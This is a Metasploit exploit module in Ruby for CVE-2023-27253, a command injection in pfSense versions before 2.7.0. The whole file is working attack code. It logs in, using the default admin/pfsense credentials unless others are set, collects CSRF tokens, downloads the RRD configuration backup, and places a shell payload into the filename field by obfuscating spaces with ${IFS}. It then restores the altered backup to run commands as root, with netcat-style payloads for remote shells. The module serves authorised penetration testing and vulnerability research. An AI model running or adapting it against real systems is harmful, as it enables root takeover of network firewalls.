# Exploit Title: pfSense v2.7.0 - OS Command Injection
#Exploit Author: Emir Polat
# CVE-ID : CVE-2023-27253
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense Restore RRD Data Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"
privilege to execute arbitrary operating system commands as the "root" user.
This module has been tested successfully on version 2.6.0-RELEASE.
},
'License' => MSF_LICENSE,
'Author' => [
'Emir Polat', # vulnerability discovery & metasploit module
],
'References' => [
['CVE', '2023-27253'],
['URL', 'https://redmine.pfsense.org/issues/13935'],
['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
],
'DisclosureDate' => '2023-03-18',
'Platform' => ['unix'],
'Arch' => [ ARCH_CMD ],
'Privileged' => true,
'Targets' => [
[ 'Automatic Target', {}]
],
'Payload' => {
'BadChars' => "\x2F\x27",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
]
end
def check
unless login
return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'GET',
'keep_cookies' => true
)
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
unless res&.body&.include?('Diagnostics: ')
return Exploit::CheckCode::Safe('Vulnerable module not reachable')
end
version = detect_version
unless version
return Exploit::CheckCode::Detected('Unable to get the pfSense version')
end
unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
end
Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
end
def login
# Skip the login process if we are already logged in.
return true if @logged_in
csrf = get_csrf('index.php', 'GET')
unless csrf
print_error('Could not get the expected CSRF token for index.php when attempting login!')
return false
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
},
'keep_cookies' => true
)
if res && res.code == 302
@logged_in = true
true
else
false
end
end
def detect_version
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
# If the response isn't a 200 ok response or is an empty response, just return nil.
unless res && res.code == 200 && res.body
return nil
end
if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
nil
else
version
end
end
def get_csrf(uri, methods)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, uri),
'method' => methods,
'keep_cookies' => true
)
unless res && res.body
return nil # If no response was returned or an empty response was returned, then return nil.
end
# Try regex match the response body and save the match into a variable named csrf.
if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
return nil # No match could be found, so the variable csrf won't be defined.
else
return csrf
end
end
def drop_config
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
end
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)
if res && res.code == 200 && res.body =~ /<rrddatafile>/
return res.body
else
return nil
end
end
def exploit
unless login
fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
end
csrf = get_csrf('diag_backup.php', 'GET')
unless csrf
fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
end
config_data = drop_config
if config_data.nil?
fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
end
if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
end
config_data.gsub!(' ', '${IFS}')
send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")
post_data = Rex::MIME::Message.new
post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'keep_cookies' => true
)
if res
print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
end
end
end